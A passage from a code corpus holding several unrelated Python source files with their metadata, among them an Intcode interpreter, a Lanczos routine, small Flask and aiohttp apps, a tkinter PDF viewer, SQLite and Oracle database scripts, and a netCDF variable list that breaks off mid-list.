'{}'\".format(color, colors[i])\n print(color_line)\n yaml_lines.append(color_line)\n\n yaml_lines.extend(yaml_meta)\n\n with open(outfile_name, 'w') as output:\n output.write('\\n'.join(yaml_lines))\n\n\nif __name__ == \"__main__\":\n import sys\n\n options = {\n '--yaml': xterm_to_yaml,\n '--kitty': xterm_to_kitty,\n '--json': xterm_to_hyper\n }\n mode = sys.argv[1]\n filename = sys.argv[2]\n\n options[mode](filename)\n", "sub_path": "assets/scripts/xterm_to_hyper.py", "file_name": "xterm_to_hyper.py", "file_ext": "py", "file_size_in_byte": 3449, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "re.compile", "line_number": 59, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 112, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 112, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 157, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 158, "usage_type": "attribute"}]} {"seq_id": "619978638", "text": "from utils import IO\n\nclass Intcode():\n \"\"\" Class containing the intcode computer.\"\"\"\n\n def __init__(self,file_location,input):\n \"\"\" Read file and give input to the intcode computer.\"\"\"\n self.x = IO.read_file(file_location)\n self.n = len(self.x)\n self.i = 0\n self.input = input\n\n def parse_opcode(self,op):\n \"\"\" Opcode parsing - analyzes the opcode string. \"\"\"\n oper = op[-1]\n mode = '00'+op[:-2]\n\n # Parse position vs immediate mode for each operation\n j = self.i\n if oper == '1' or oper == '2' or oper == '7' or oper == '8':\n p1 = self.x[self.x[j+1]] if mode[-1]=='0' else self.x[j+1]\n p2 = self.x[self.x[j+2]] if mode[-2]=='0' else self.x[j+2]\n out = self.x[j+3]\n self.i = self.i + 4\n return oper,p1,p2,out\n elif oper == '5' or oper == '6':\n p1 = self.x[self.x[j+1]] if mode[-1]=='0' else self.x[j+1]\n p2 = self.x[self.x[j+2]] if mode[-2]=='0' else self.x[j+2]\n out = self.x[j+3]\n self.i = self.i + 3\n return oper,p1,p2,None\n elif oper == '4':\n p = self.x[self.x[j+1]] if mode[-1]=='0' else self.x[j+1]\n self.i = self.i + 2\n return oper,p,None,None\n else:\n p = self.x[j+1]\n self.i = self.i + 2\n return oper,p,None,None\n\n\n def operate(self,oper,p1,p2,out):\n \"\"\" Apply operation on the intcode sequence. \"\"\"\n\n if oper=='1':\n self.x[out] = p1 + p2\n elif oper=='2':\n self.x[out] = p1 * p2\n elif oper=='3':\n self.x[p1] = self.input\n elif oper=='4':\n print(p1)\n elif oper=='5':\n self.i = p2 if p1 != 0 else self.i\n elif oper=='6':\n self.i = p2 if p1 == 0 else self.i\n elif oper=='7':\n self.x[out] = 1 if p1 < p2 else 0\n elif oper=='8':\n self.x[out] = 1 if p1 == p2 else 0\n\n def __call__(self):\n \"\"\" Call to solve the intcode. \"\"\"\n\n while(self.i < self.n):\n if(self.x[self.i]==99):\n break\n oper,p1,p2,out = self.parse_opcode(str(self.x[self.i]))\n self.operate(oper,p1,p2,out)\n\ndef main():\n\n part_one = Intcode(\"../data.csv\",1)\n print(\"Solution for part one:\")\n part_one()\n \n part_two = Intcode(\"../data.csv\",5)\n print(\"Solution for part two:\")\n part_two()\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "2019/day-5/python/intcode.py", "file_name": "intcode.py", "file_ext": "py", "file_size_in_byte": 2220, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "utils.IO.read_file", "line_number": 8, "usage_type": "call"}, {"api_name": "utils.IO", "line_number": 8, "usage_type": "name"}]} {"seq_id": "160891141", "text": "import numpy as np\nfrom scipy.linalg import norm\nfrom numpy.linalg import qr, solve\n\n# modified from part of 6\n\n\ndef LanczosTri(A):\n '''Tridiagonalize Matrix A via Lanczos Iterations'''\n\n # Check if A is symmetric\n # if((A.transpose() != A).any()):\n # print(\"WARNING: Input matrix is not symmetric\")\n n = A.shape[0]\n x = np.ones(n) # Random Initial Vector\n V = np.zeros((n, 1)) # Tridiagonalizing Matrix\n\n # Begin Lanczos Iteration\n q = x / norm(x)\n V[:, 0] = q\n r = A @ q\n a1 = q.T @ r\n r = r - a1 * q\n b1 = norm(r)\n ctr = 0\n # print(\"a1 = %.12f, b1 = %.12f\"%(a1,b1))\n for j in range(2, n + 1):\n v = q\n q = r / b1\n r = A @ q - b1 * v\n a1 = q.T @ r\n r = r - a1 * q\n b1 = norm(r)\n\n # Append new column vector at the end of V\n V = np.hstack((V, np.reshape(q, (n, 1))))\n\n # Reorthogonalize all previous v's\n V = qr(V)[0]\n\n ctr += 1\n\n if b1 == 0:\n print(\"WARNING: Lanczos ended due to b1 = 0\")\n return V # Need to reorthonormalize\n\n # print(np.trace(V.T@V)/j)\n # Check if V is orthonormal\n # print(\"|V.T@V - I| = \")\n # print(np.abs((V.T@V)-np.eye(n)))\n # if((V.T@V != np.eye(n)).any()):\n # print(\"WARNING: V.T @ V != I: Orthonormality of Transform Lost\")\n\n # Tridiagonal matrix similar to A\n T = V.T @ A @ V\n\n return T\n\nif __name__ == '__main__':\n # find leading ev\n A = np.array([[1, 2, 3], [2, 4, 5], [3, 5, 6]])\n T = (LanczosTri(A))\n print(T)\n\n # check A = VTV*", "sub_path": "Code/OtherMethods/Lanczos/my_3.py", "file_name": "my_3.py", "file_ext": "py", "file_size_in_byte": 1572, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "numpy.ones", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 16, "usage_type": "call"}, {"api_name": "scipy.linalg.norm", "line_number": 19, "usage_type": "call"}, {"api_name": "scipy.linalg.norm", "line_number": 24, "usage_type": "call"}, {"api_name": "scipy.linalg.norm", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.reshape", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.linalg.qr", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 61, "usage_type": "call"}]} {"seq_id": "92582104", "text": "import csv\r\n\r\nimport cx_Oracle\r\n\r\nconnection = cx_Oracle.connect(\"test\", \"test\", \"DESKTOP-0Q2I46R/xe\")\r\n\r\ncursor_music = connection.cursor()\r\n\r\ncursor_music.execute(\"\"\"\r\nSELECT\r\n TRIM(MUSIC_TITLE) as MUSIC_TITLE,\r\n TRIM(MUSIC_GENRE) as MUSIC_GENRE\r\nFROM\r\n MUSIC\"\"\")\r\n\r\nfor MUSIC_TITLE, MUSIC_GENRE in cursor_music:\r\n\r\n with open(\"MUSIC_TITLE_\" + MUSIC_TITLE + \".csv\", \"w\", newline=\"\") as file:\r\n writer = csv.writer(file)\r\n\r\n writer.writerow([\"TITLE\", MUSIC_TITLE])\r\n writer.writerow([\"GENRE\", MUSIC_GENRE])\r\n\r\n cursor_music_info = connection.cursor()\r\n\r\n query = \"\"\"\r\n SELECT\r\n TRIM(MUSIC_AUTHOR2) as MUSIC_AUTHOR2\r\n\r\n FROM\r\n MUSIC NATURAL JOIN \"info about music\"\r\n WHERE TRIM(MUSIC_TITLE) = :title\"\"\"\r\n\r\n cursor_music_info.execute(query, title=MUSIC_TITLE)\r\n writer.writerow([])\r\n writer.writerow([\"MUSIC_AUTHOR2\"])\r\n for info_row in cursor_music_info:\r\n writer.writerow(info_row)\r\n\r\ncursor_music.close()", "sub_path": "km51/Kurshakov_Mykhailo/csv_export.py", "file_name": "csv_export.py", "file_ext": "py", "file_size_in_byte": 1093, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "cx_Oracle.connect", "line_number": 5, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 19, "usage_type": "call"}]} {"seq_id": "239431037", "text": "from flask import Flask, request, abort\nfrom helper import config, setup_database, mongo_query\nfrom model import review\nfrom routes import review\nfrom flask import send_file, jsonify\n\napp = Flask(__name__)\nconfig = config.Config()\ndatabase_setup = setup_database.SetupDatabase(config.database_ip,\n config.database_port,\n config.database_name)\n\ndb = database_setup.get_instance()\n\nimg_dir = config.image_dir\n\n\n@app.route('/review', methods=['GET', 'POST'])\n@app.route('/review/<product_id>', methods=['GET'])\ndef get_review(product_id=None):\n review_route = review.ReviewRoute(db, request, product_id)\n return jsonify(review_route.get_response())\n\n\n@app.route('/img/<id>', methods=['GET'])\ndef get_image(id):\n try:\n name = id + '.png'\n file = open(img_dir + name, 'rb')\n\n return send_file(file, attachment_filename=name, mimetype='image/png')\n except Exception as e:\n abort(404, e)\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=True)\n", "sub_path": "api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 1080, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "flask.Flask", "line_number": 7, "usage_type": "call"}, {"api_name": "helper.config", "line_number": 8, "usage_type": "name"}, {"api_name": "helper.config.Config", "line_number": 8, "usage_type": "call"}, {"api_name": "helper.setup_database.SetupDatabase", "line_number": 9, "usage_type": "call"}, {"api_name": "helper.setup_database", "line_number": 9, "usage_type": "name"}, {"api_name": "helper.config.database_ip", "line_number": 9, "usage_type": "attribute"}, {"api_name": "helper.config", "line_number": 9, "usage_type": "name"}, {"api_name": "helper.config.database_port", "line_number": 10, "usage_type": "attribute"}, {"api_name": "helper.config", "line_number": 10, "usage_type": "name"}, {"api_name": "helper.config.database_name", "line_number": 11, "usage_type": "attribute"}, {"api_name": "helper.config", "line_number": 11, "usage_type": "name"}, {"api_name": "helper.config.image_dir", "line_number": 15, "usage_type": "attribute"}, {"api_name": "helper.config", "line_number": 15, "usage_type": "name"}, {"api_name": "routes.review.ReviewRoute", "line_number": 21, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "argument"}, {"api_name": "routes.review", "line_number": 21, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.send_file", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.abort", "line_number": 33, "usage_type": "call"}]} {"seq_id": "389119033", "text": "#!/usr/bin/env python\n# run it as:\n# python -m unittest test_example.TestClientCase\n\nfrom aiohttp import web\nfrom aiohttp.test_utils import AioHTTPTestCase, unittest_run_loop\nfrom aiohttp.test_utils import TestClient, TestServer\n\n\nclass TestClientCase(AioHTTPTestCase):\n def _app_index(self, request):\n return web.Response(body=\"<html><body>Here we are</body></html\",\n content_type='text/html')\n\n async def get_application(self):\n app = web.Application()\n app.router.add_get('/', self._app_index)\n\n return app\n\n @unittest_run_loop\n async def test_using_class_attribute(self):\n request = await self.client.request(\"GET\", \"/\")\n print(request.status)\n assert request.status == 200\n\n @unittest_run_loop\n async def test_using_client(self):\n tc = TestClient(\n TestServer(self.app, loop=self.loop),\n loop=self.loop)\n request = await tc.request(\"GET\", \"/\")\n print(request.status)\n assert request.status == 200\n", "sub_path": "4.py", "file_name": "4.py", "file_ext": "py", "file_size_in_byte": 1048, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "aiohttp.test_utils.AioHTTPTestCase", "line_number": 10, "usage_type": "name"}, {"api_name": "aiohttp.web.Response", "line_number": 12, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 12, "usage_type": "name"}, {"api_name": "aiohttp.web.Application", "line_number": 16, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 16, "usage_type": "name"}, {"api_name": "aiohttp.test_utils.unittest_run_loop", "line_number": 21, "usage_type": "name"}, {"api_name": "aiohttp.test_utils.TestClient", "line_number": 29, "usage_type": "call"}, {"api_name": "aiohttp.test_utils.TestServer", "line_number": 30, "usage_type": "call"}, {"api_name": "aiohttp.test_utils.unittest_run_loop", "line_number": 27, "usage_type": "name"}]} {"seq_id": "231178534", "text": "from tkinter import ttk, Tk, Canvas, VERTICAL, ALL, SOLID, LEFT, RIGHT, Y, X, TOP, BOTTOM, CENTER\r\nimport fitz\r\nfrom PIL import Image, ImageTk\r\nimport os\r\n\r\n\r\nclass PdfViewer:\r\n def __init__(self, parent):\r\n self.parent = parent\r\n self.currentPageNum = 0\r\n\r\n # GUI\r\n \"\"\"\r\n self.parent\r\n |---> self.mainContainerFrame\r\n |---> self.navigationFrame\r\n |---> self.fileNameLabel\r\n |---> self.frameWithNavigationButtons\r\n |---> self.leftButton\r\n |---> self.pageNumberLabel\r\n |---> self.rightButton\r\n |---> self.viewerFrame\r\n |---> self.verticalScrollbar\r\n |---> self.canvas\r\n |---> self.frameInCanvas\r\n |---> self.imageHolder\r\n \"\"\"\r\n\r\n self.mainContainerFrame = ttk.Frame(self.parent)\r\n\r\n self.navigationFrame = ttk.Frame(self.mainContainerFrame)\r\n self.navigationFrame.pack(fill=X)\r\n self.viewerFrame = ttk.Frame(self.mainContainerFrame)\r\n self.viewerFrame.pack()\r\n self.fileNameLabel = ttk.Label(self.navigationFrame)\r\n self.fileNameLabel.pack(side=LEFT)\r\n self.frameWithNavigationButtons = ttk.Frame(self.navigationFrame)\r\n self.frameWithNavigationButtons.pack(side=RIGHT)\r\n self.leftButton = ttk.Button(\r\n self.frameWithNavigationButtons, text=\"🡸\", takefocus=False, command=lambda: self.showPreviousPage(None))\r\n self.leftButton.pack(side=LEFT)\r\n self.pageNumberLabel = ttk.Label(\r\n self.frameWithNavigationButtons,\r\n anchor=CENTER,\r\n width=8)\r\n self.pageNumberLabel.pack(side=LEFT)\r\n self.rightButton = ttk.Button(\r\n self.frameWithNavigationButtons, text=\"🡺\", takefocus=False, command=lambda: self.showNextPage(None))\r\n self.rightButton.pack(side=LEFT)\r\n\r\n self.isInitiallyHidden = True\r\n self.canvas = Canvas(self.viewerFrame)\r\n self.verticalScrollbar = ttk.Scrollbar(\r\n self.viewerFrame, orient=VERTICAL)\r\n self.verticalScrollbar.config(command=self.canvas.yview)\r\n self.canvas.config(yscrollcommand=self.verticalScrollbar.set)\r\n self.verticalScrollbar.pack(side=RIGHT, fill=Y)\r\n self.canvas.pack(side=LEFT)\r\n\r\n self.frameInCanvas = ttk.Frame(self.canvas)\r\n\r\n self.canvas.create_window(\r\n (0, 0), window=self.frameInCanvas, anchor=\"nw\")\r\n\r\n self.frameInCanvas.bind(\"<Configure>\", lambda event, canvas=self.canvas: canvas.configure(\r\n scrollregion=canvas.bbox(\"all\")))\r\n\r\n self.imageHolder = ttk.Label(\r\n self.frameInCanvas, border=1, relief=SOLID)\r\n self.imageHolder.pack()\r\n\r\n self.parent.focus_set()\r\n self.parent.bind(\"<Left>\", self.showPreviousPage)\r\n self.parent.bind(\"<Prior>\", self.showPreviousPage)\r\n\r\n self.parent.bind(\"<Right>\", self.showNextPage)\r\n self.parent.bind(\"<Next>\", self.showNextPage)\r\n\r\n self.parent.bind(\"<Home>\", self.showFirstPage)\r\n self.parent.bind(\"<End>\", self.showLastPage)\r\n\r\n def toPhotoImage(self, page):\r\n return ImageTk.PhotoImage(self.pageToImage(page))\r\n\r\n def pageToImage(self, page):\r\n pix = page.getPixmap()\r\n # set the mode depending on alpha\r\n mode = \"RGBA\" if pix.alpha else \"RGB\"\r\n img = Image.frombytes(mode, [pix.width, pix.height], pix.samples)\r\n return img\r\n\r\n def show(self):\r\n image = self.toPhotoImage(self.document.loadPage(self.currentPageNum))\r\n self.imageHolder.configure(image=image)\r\n self.imageHolder.image = image\r\n\r\n self.pageNumberLabel.config(text=str(self.currentPageNum+1))\r\n\r\n def showPdf(self, filePath):\r\n self.filePath = filePath\r\n self.document = fitz.open(self.filePath)\r\n self.lastPageNumber = self.document.pageCount-1\r\n width, height = self.pageToImage(self.document.loadPage(0)).size\r\n if self.isInitiallyHidden:\r\n self.mainContainerFrame.pack()\r\n self.isInitiallyHidden = False\r\n self.canvas.configure(width=width, height=height)\r\n self.canvas.configure(scrollregion=(0, 0, 0, height))\r\n fileName = \" \"*3 + os.path.splitext(os.path.split(self.filePath)[1])[0]\r\n self.fileNameLabel.config(\r\n text=f\"{fileName[:50]}...\" if len(fileName) > 50 else fileName)\r\n self.show()\r\n\r\n def showNextPage(self, event):\r\n self.currentPageNum += 1\r\n if (self.currentPageNum > self.lastPageNumber):\r\n self.currentPageNum = self.lastPageNumber\r\n else:\r\n self.show()\r\n\r\n def showPreviousPage(self, event):\r\n self.currentPageNum -= 1\r\n if (self.currentPageNum < 0):\r\n self.currentPageNum = 0\r\n else:\r\n self.show()\r\n\r\n def showFirstPage(self, event):\r\n self.currentPageNum = 0\r\n self.show()\r\n\r\n def showLastPage(self, event):\r\n self.currentPageNum = self.lastPageNumber\r\n self.show()\r\n", "sub_path": "Project/PdfViewer.py", "file_name": "PdfViewer.py", "file_ext": "py", "file_size_in_byte": 5277, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "tkinter.ttk.Frame", "line_number": 29, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 29, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 31, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 31, "usage_type": "name"}, {"api_name": "tkinter.X", "line_number": 32, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 33, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 33, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 35, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 35, "usage_type": "name"}, {"api_name": "tkinter.LEFT", "line_number": 36, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 37, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 37, "usage_type": "name"}, {"api_name": "tkinter.RIGHT", "line_number": 38, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 39, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 39, "usage_type": "name"}, {"api_name": "tkinter.LEFT", "line_number": 41, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 42, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 42, "usage_type": "name"}, {"api_name": "tkinter.CENTER", "line_number": 44, "usage_type": "name"}, {"api_name": "tkinter.LEFT", "line_number": 46, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 47, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 47, "usage_type": "name"}, {"api_name": "tkinter.LEFT", "line_number": 49, "usage_type": "name"}, {"api_name": "tkinter.Canvas", "line_number": 52, "usage_type": "call"}, {"api_name": "tkinter.ttk.Scrollbar", "line_number": 53, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 53, "usage_type": "name"}, {"api_name": "tkinter.VERTICAL", "line_number": 54, "usage_type": "name"}, {"api_name": "tkinter.RIGHT", "line_number": 57, "usage_type": "name"}, {"api_name": "tkinter.Y", "line_number": 57, "usage_type": "name"}, {"api_name": "tkinter.LEFT", "line_number": 58, "usage_type": "name"}, {"api_name": "tkinter.ttk.Frame", "line_number": 60, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 60, "usage_type": "name"}, {"api_name": "tkinter.ttk.Label", "line_number": 68, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 68, "usage_type": "name"}, {"api_name": "tkinter.SOLID", "line_number": 69, "usage_type": "name"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 83, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 83, "usage_type": "name"}, {"api_name": "PIL.Image.frombytes", "line_number": 89, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 89, "usage_type": "name"}, {"api_name": "fitz.open", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "os.path.split", "line_number": 109, "usage_type": "call"}]} {"seq_id": "580833156", "text": "#!/usr/bin/python3\n\n\nimport sqlite3\n\ndef create(db, row):\n db.execute('insert into MyFirstSQLiteTable (username, id) values (?, ?)', (row['username'], row['id']))\n db.commit()\n\ndef retrieve(db, username):\n cursor = db.execute('select * from MyFirstSQLiteTable where username = ?', (username,))\n return cursor.fetchone()\n\ndef update(db, row):\n db.execute('update MyFirstSQLiteTable set id = ? where username = ?', (row['id'], row['username']))\n db.commit()\n\ndef delete(db, username):\n db.execute('delete from MyFirstSQLiteTable where username = ?', (username,))\n db.commit()\n\ndef DisplayRows(db):\n cursor = db.execute('select * from MyFirstSQLiteTable order by username')\n for row in cursor:\n print(' {}: {}'.format(row['username'], row['id']))\n\ndef main():\n db = sqlite3.connect('MyFirstSQLiteDB.db')\n db.row_factory = sqlite3.Row\n print('Create table MyFirstSQLiteTable')\n db.execute('drop table if exists MyFirstSQLiteTable')\n db.execute('create table MyFirstSQLiteTable ( username text, id int )')\n\n print('Create rows')\n create(db, dict(username = 'babu', id = 1))\n create(db, dict(username = 'mana', id = 2))\n create(db, dict(username = 'pata', id = 3))\n create(db, dict(username = 'gopal', id = 4))\n create(db, dict(username = 'bappa', id = 5))\n create(db, dict(username = 'babua', id = 6))\n create(db, dict(username = 'buddhu', id = 7))\n DisplayRows(db)\n\n print('Retrieve rows')\n print(dict(retrieve(db, 'babu')), dict(retrieve(db, 'mana')))\n\n print('Update rows')\n update(db, dict(username = 'Tapas', id = 7))\n # update(db, dict(username = 'three', id = 103))\n DisplayRows(db)\n\n # print('Delete rows')\n # delete(db, 'one')\n # delete(db, 'three')\n # DisplayRows(db)\n\nif __name__ == \"__main__\":\n main()", "sub_path": "Databases/MySQLite1.py", "file_name": "MySQLite1.py", "file_ext": "py", "file_size_in_byte": 1821, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sqlite3.connect", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlite3.Row", "line_number": 29, "usage_type": "attribute"}]} {"seq_id": "217753746", "text": "import sys\nfrom netCDF4 import Dataset\nimport json\nimport numpy as np\nimport math\nimport netCDF4 as nc\nfrom pyathena import connect\nimport pandas as pd\nimport json\nimport time\n\n\nd_name='SNDR.J1.CRIMSS.20210731T0000.m06.g001.L2_CLIMCAPS_RET.std.v02_28.G.210921124740.nc'\nd = Dataset(d_name, 'r')\n#nj=d['nj']\n#ni=d['ni']\n#print (d)\n\n#for g in [] + list(d.groups):\n# print (g)\n#exit()\n\n#for dimobj in d.dimensions.values():\n# print('/', dimobj.name, dimobj.size)\n#for dimobj in d['/mw'].dimensions.values():\n# print('/mw/', dimobj.name, dimobj.size)\n#for dimobj in d['/mol_lay'].dimensions.values():\n# print('/mol_lay/', dimobj.name, dimobj.size)\n#for dimobj in d['/ave_kern'].dimensions.values():\n# print('/ave_kern/', dimobj.name, dimobj.size)\n#for dimobj in d['/aux'].dimensions.values():\n# print('/aux', dimobj.name, dimobj.size)\n#for v in d.variables.keys():\n# var = d[v]\n# print (var.group().name + v, end=',')\n# for dim in var.dimensions:\n# print (dim, end='~')\n# print ()\n\n#d_mw=d['/mw']\n#for v in d_mw.variables.keys():\n# var = d_mw[v]\n# print ( '/' + var.group().name + '/' + v, end=',')\n# for dim in var.dimensions:\n# print (dim, end='~')\n# print ()\n\n#d_mw=d['/mol_lay']\n#for v in d_mw.variables.keys():\n# var = d_mw[v]\n# print ( '/' + var.group().name + '/' + v, end=',')\n# for dim in var.dimensions:\n# print (dim, end='~')\n# print ()\n\n#d_mw=d['/ave_kern']\n#for v in d_mw.variables.keys():\n# var = d_mw[v]\n# print ( '/' + var.group().name + '/' + v, end=',')\n# for dim in var.dimensions:\n# print (dim, end='~')\n# print ()\n\n#d_mw=d['/aux']\n#for v in d_mw.variables.keys():\n# var = d_mw[v]\n# print ( '/' + var.group().name + '/' + v, end=',')\n# for dim in var.dimensions:\n# print (dim, end='~')\n# print ()\n\n#print (d['/cld_lay_lbl'][:])\n\n#exit()\n\n\n#print (d['/ave_kern/air_temp_func_pres'])\n#print (d['/ave_kern/air_temp_func_pres'][:])\n#print ('tmpfunci', d['/ave_kern/air_temp_func_indxs'][:])\n\n#print (d['/ave_kern/h2o_vap_ave_kern'])\n#for a in range(len(d.dimensions['atrack'])):\n# for x in range(len(d.dimensions['xtrack'])):\n# print (a,x,d['/ave_kern/h2o_vap_ave_kern'][a][x][:])\n# for f1 in range(len(d['/ave_kern/h2o_vap_ave_kern'][a][x])):\n# print (a,x,f1,d['/ave_kern/air_temp_func_pres'][f1], d['/ave_kern/h2o_vap_ave_kern'][a][x][f1][:])\n# for f2 in range(len(d['/ave_kern/h2o_vap_ave_kern'][a][x][f1])):\n# print (a,x,f1,f2,d['/ave_kern/air_temp_func_pres'][f1], d['/ave_kern/air_temp_func_pres'][f2], d['/ave_kern/h2o_vap_ave_kern'][a][x][f1][f2])\n#exit()\n\n\n\n\n# Main dimensions (atrack[,xtrack]) variable list\n\nclimcaps_varlist = [\n\"/asc_flag\",\n\"/mean_anom_wrt_equat\",\n\"/sat_alt\",\n\"/sat_sol_azi\",\n\"/sat_sol_zen\",\n\"/scan_mid_time\",\n\"/subsat_lat\",\n\"/subsat_lon\",\n\"/sun_glint_lat\",\n\"/sun_glint_lon\",\n\"/sat_att\",\n\"/sat_pos\",\n\"/sat_vel\",\n\"/air_pres_h2o_nsurf\",\n\"/air_pres_lay_nsurf\",\n\"/air_pres_nsurf\",\n\"/air_temp_dof\",\n\"/aux/a0_cloud\",\n\"/aux/aeff_1\",\n\"/aux/aeff_end\",\n\"/aux/ampl_eta\",\n\"/aux/bad_mw_ret\",\n\"/aux/bad_phys_ret\",\n\"/aux/bad_reg_ret\",\n\"/aux/bt2\",\n\"/aux/chi2_ch4\",\n\"/aux/chi2_co\",\n\"/aux/chi2_co2\",\n\"/aux/chi2_h2o\",\n\"/aux/chi2_hno3\",\n\"/aux/chi2_n2o\",\n\"/aux/chi2_o3\",\n\"/aux/chi2_so2\",\n\"/aux/chi2_temp\",\n\"/aux/cldfrc_500\",\n\"/aux/cldfrc_tot\",\n\"/aux/clim_co2_mmr\",\n\"/aux/clim_surf_ir_wnum_cnt\",\n\"/aux/etarej\",\n\"/aux/fg_surf_air_temp\",\n\"/aux/fg_surf_temp\",\n\"/aux/for_cld_frac_tot\",\n\"/aux/for_cld_frac_tot_err\",\n\"/aux/for_cld_frac_tot_qc\",\n\"/aux/for_cld_top_pres_tot\",\n\"/aux/for_cld_top_pres_tot_err\",\n\"/aux/for_cld_top_pres_tot_qc\",\n\"/aux/idprof\",\n\"/aux/ir_x\",\n\"/aux/ispare_2\",\n\"/aux/nbest\",\n\"/aux/ngood\",\n\"/aux/pbest\",\n\"/aux/pgood\",\n\"/aux/prior_sea_lev_pres\",\n\"/aux/prior_surf_pres\",\n\"/aux/qualsurf\",\n\"/aux/qualtemp\",\n\"/aux/softcode\",\n\"/aux/surf_dew_point_temp\",\n\"/aux/surf_dew_point_temp_qc\",\n\"/aux/surf_h2o_vap_pres_deficit\",\n\"/aux/surf_h2o_vap_pres_deficit_qc\",\n\"/aux/totliqwat\",\n\"/ave_kern/air_temp_func_last_indx\",\n\"/ave_kern/ch4_func_last_indx\",\n\"/ave_kern/co_func_last_indx\",\n\"/ave_kern/co2_func_last_indx\",\n\"/ave_kern/h2o_vap_func_last_indx\",\n\"/ave_kern/hno3_func_last_indx\",\n\"/ave_kern/o3_func_last_indx\",\n\"/ch4_dof\",\n\"/ch4_mmr_midtrop\",\n\"/ch4_mmr_midtrop_err\",\n\"/ch4_mmr_midtrop_qc\",\n\"/co_dof\",\n\"/co_mmr_midtrop\",\n\"/co_mmr_midtrop_err\",\n\"/co_mmr_midtrop_qc\",\n\"/co2_dof\",\n\"/h2o_liq_tot\",\n\"/h2o_liq_tot_err\",\n\"/h2o_liq_tot_qc\",\n\"/h2o_vap_dof\",\n\"/h2o_vap_tot\",\n\"/h2o_vap_tot_err\",\n\"/h2o_vap_tot_qc\",\n\"/hno3_dof\",\n\"/land_frac\",\n\"/lat\",\n\"/lat_geoid\",\n\"/local_solar_time\",\n\"/lon\",\n\"/lon_geoid\",\n\"/mw/mw_h2o_vap_tot\",\n\"/mw/mw_h2o_vap_tot_err\",\n\"/mw/mw_h2o_vap_tot_qc\",\n\"/mw/mw_surf_air_temp\",\n\"/mw/mw_surf_air_temp_err\",\n\"/mw/mw_surf_air_temp_qc\",\n\"/mw/mw_surf_spec_hum\",\n\"/mw/mw_surf_spec_hum_err\",\n\"/mw/mw_surf_spec_hum_qc\",\n\"/mw/mw_surf_temp\",\n\"/mw/mw_surf_temp_err\",\n\"/mw/mw_surf_temp_qc\",\n\"/mw_surf_class\",\n\"/n2o_dof\",\n\"/o3_dof\",\n\"/o3_tot\",\n\"/o3_tot_err\",\n\"/o3_tot_qc\",\n\"/obs_id\",\n\"/obs_time_tai93\",\n\"/sat_azi\",\n\"/sat_range\",\n\"/sat_zen\",\n\"/so2_dof\",\n\"/sol_azi\",\n\"/sol_zen\",\n\"/sun_glint_dist\",\n\"/surf_air_temp\",\n\"/surf_air_temp_err\",\n\"/surf_air_temp_qc\",\n\"/surf_alt\",\n\"/surf_alt_sdev\",\n\"/surf_gp_hgt\",\n\"/surf_gp_hgt_err\",\n\"/surf_gp_hgt_qc\",\n\"/surf_ir_wnum_cnt\",\n\"/surf_rel_hum\",\n\"/surf_rel_hum_err\",\n\"/surf_rel_hum_qc\",\n\"/surf_spec_hum\",\n\"/surf_spec_hum_err\",\n\"/surf_spec_hum_qc\",\n\"/surf_spec_hum_sat_ice\",\n\"/surf_spec_hum_